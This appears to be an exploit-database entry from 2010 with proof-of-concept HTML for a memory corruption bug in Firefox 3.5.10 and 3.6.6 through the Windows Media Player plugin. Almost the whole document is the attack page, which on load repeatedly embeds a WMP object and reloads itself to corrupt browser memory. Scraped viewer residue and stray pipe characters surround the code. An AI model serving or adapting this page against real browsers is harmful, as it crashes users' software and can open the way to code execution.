27 lines
No EOL
757 B
HTML
27 lines
No EOL
757 B
HTML
Source: http://code.google.com/p/skylined/issues/detail?id=21
|
|
|
|
# Exploit Title: Firefox 3.5.10 & 3.6.6 WMP Memory Corruption Using Popups
|
|
# Date: 2010-10-13
|
|
# Author: berendjanwever
|
|
# Version: FF 3.5.10 & 3.6.6 with WMP 10 & 11
|
|
# Tested on: Windows XP sp3
|
|
|
|
<HTML>
|
|
<HEAD>
|
|
<SCRIPT>
|
|
function go() {
|
|
var oWMP = document.getElementById("WMP");
|
|
if (oWMP) {
|
|
location.reload();
|
|
} else {
|
|
var oWrapper = document.getElementById("wrapper");
|
|
oWrapper.innerHTML = '<EMBED id="WMP" type="application/x-mplayer2" autostart=1 src="repro-firefox.html"></EMBED>';
|
|
setTimeout(go, 1000);
|
|
}
|
|
}
|
|
</SCRIPT>
|
|
</HEAD>
|
|
<BODY onload="go()">
|
|
<SPAN id="wrapper"></SPAN>
|
|
</BODY>
|
|
</HTML> |